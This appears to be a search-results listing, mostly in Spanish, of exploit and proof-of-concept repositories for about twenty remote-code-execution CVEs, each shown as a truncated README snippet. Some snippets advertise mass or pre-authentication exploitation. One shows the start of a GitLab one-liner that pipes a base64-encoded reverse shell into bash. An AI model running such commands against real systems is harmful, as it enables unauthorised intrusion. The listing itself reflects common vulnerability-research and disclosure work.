1084 matches found
CVE-2026-39987
CVE-2026-39987 Para Marimo 0.20.4 PoC ⚠️ Esta herramienta está destinada únicamente a fines educativos y pruebas de seguridad autorizadas. El creador no se hace responsable de ningún uso no autorizado o ilegal. Úsala bajo tu propio riesgo. ⚠️ Información: CVE-2026-39987 es una vulnerabilidad...
CVE-2023-27997-check
Herramienta de Evaluación de Vulnerabilidad CVE-2023-27997 Detecte de forma segura si una instancia de FortiGate SSL VPN es vulnerable a CVE-2023-27997 basándose en el tiempo de respuesta. Consulte el artículo completo en el blog de Bishop Fox, que incluye un recorrido completo de la metodología...
BlueKeep
Bluekeep PoC This repo contains research concerning CVE-2019-0708. Bluekeep or CVE-2019-0708 is an RCE exploit that effects the following versions of Windows systems: Windows 2003 Windows XP Windows Vista Windows 7 Windows Server 2008 Windows Server 2008 R2 The vulnerability occurs during...
CVE-2023-25136
OpenSSH CVE-2023-25136 Doble liberación previa a la autenticación – Informe y PoC ¿Qué es OpenSSH? OpenSSH es una herramienta popular utilizada para la comunicación segura y el acceso remoto. Fue desarrollada como una implementación libre y de código abierto del protocolo de comunicaciones Secure...
CVE-2025-54322
CVE-2025-54322 - Escáner de RCE Pre-Auth para XSpeeder SXZOS Un escáner de vulnerabilidades multihilo para CVE-2025-54322, una vulnerabilidad de ejecución remota de código no autenticada en el firmware XSpeeder SXZOS que afecta a más de 70.000 hosts a nivel mundial. 📋 Tabla de Contenidos Acerca d...
CVE-2023-38646
CVE-2023-38646 Metabase RCE sin autenticación 26/11/2023 Metabase open source anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, al nivel de privilegio del servidor. No se requiere autenticación para la explotación...
CVE-2020-8813
CVE-2020-8813 El exploit oficial para la ejecución remota de código en Cacti v1.2.8 CVE-2020-8813 Cacti v1.2.8 Ejecución Remota de Código Pre-Autenticación Cacti v1.2.8 Ejecución Remota de Código Post-Autenticación...
cve-2020-28653-poc
Prueba de concepto de Manage Engine OpManager CVE-2020-28653 Esta prueba de concepto detecta si una instancia de Manage Engine OpManager es vulnerable a CVE-2020-28653. La detección se realiza enviando una solicitud que contiene el payload serializado a la instancia. Una vez que el payload se...
CVE-2023-38646
CVE-2023-38646 Herramientas automáticas para el exploit RCE de Metabase conocido como CVE-2023-38646. Lee https://secry.me/explore/news/metabase-rce-cve-2023-38646/ para más información POC, Dork Cómo usar single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl...
SMBGhost_RCE_PoC
SMBGhostRCEPoC RCE PoC for CVE-2020-0796 "SMBGhost" For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other...
CVE-2026-1731
CVE-2026-1731 BeyondTrust Remote Support PoC de RCE pre-autenticación !WARNING Este script está destinado únicamente a fines educativos y de investigación. No lo utilices contra sistemas sin permiso explícito. El acceso o las pruebas no autorizados son ilegales y poco éticos. Lee el DESCARGO DE...
watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882
watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Generador de artefactos de detección para Oracle E-Business Suite CVE-2025-61882 Consulte nuestra publicación en el blog para obtener detalles técnicos Detección en acción python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command...
Mass-exploit-CVE-2022-29464
¡Miau Miau Miau! Simplemente un Exploit Masivo basado en un PoC en Python para WSO2 Carbon Server CVE-2022-29464 Error RCE sin autenticación CVE-2022-29464. ¿Miau Miau Miau? ¿Requisitos? Python3 Shodan Zoomeye Un Cerebro ¿Qué es esta herramienta? Esto es un exploit de auto-escaneo masivo de...
CVE-2026-60004-POC
CVE-2026-60004 — Ejecución Remota de Código Pre-Auth en Gitea CVSS 9.8 ┌──────────────────────────────────────────────────────────────┐ │ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 CRIT │ │ diffpatch → git hook injection │ v1.17–1.27.0 affected │...
CVE-2024-9441
PoC de RCE sin autenticación previa para Nortek Linear eMerge E3 CVE-2024-9441 Descripción: Este repositorio contiene una prueba de concepto PoC del exploit para Nortek Linear eMerge E3 CVE-2024-9441, que es vulnerable a ejecución remota de código RCE en estado de pre-autenticación. La...
Silent-Call
Silent;Call Root remoto sin autenticación previa en Cisco Unified Communications Manager 15.x Tres solicitudes HTTP. Cero credenciales. Acceso root. Cada llamada ahora es tuya. Kill Chain Paso| Componente| Descripción ---|---|--- 1| Spoofhack| La suplantación de la cabecera X-Forwarded-For elude ...
CVE-2024-4358
CVE-2024-4358 / CVE-2024-1800 Telerik Report Server deserialization and authentication bypass exploit chain for CVE-2024-4358/CVE-2024-1800 Technical Analysis A root cause analysis of the vulnerability can be found on my blog poc Summary Supported versions? Basically all of them at the time the...
GitLab-preauth-RCE_CVE-2021-22205
GitLab-preauth-RCECVE-2021-22205 PoC de bash en una línea para RCE preautenticado en GitLab CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...
cpanel-sessionscribe
SessionScribe - CVE-2026-41940 RCE crítico no autenticado en cPanel & WHM. Cuatro solicitudes HTTP forjan una sesión root mediante inyección CRLF en el campo de contraseña de una sesión de preautenticación. Sin autenticación, sin precondiciones, todos los niveles compatibles afectados. Divulgado ...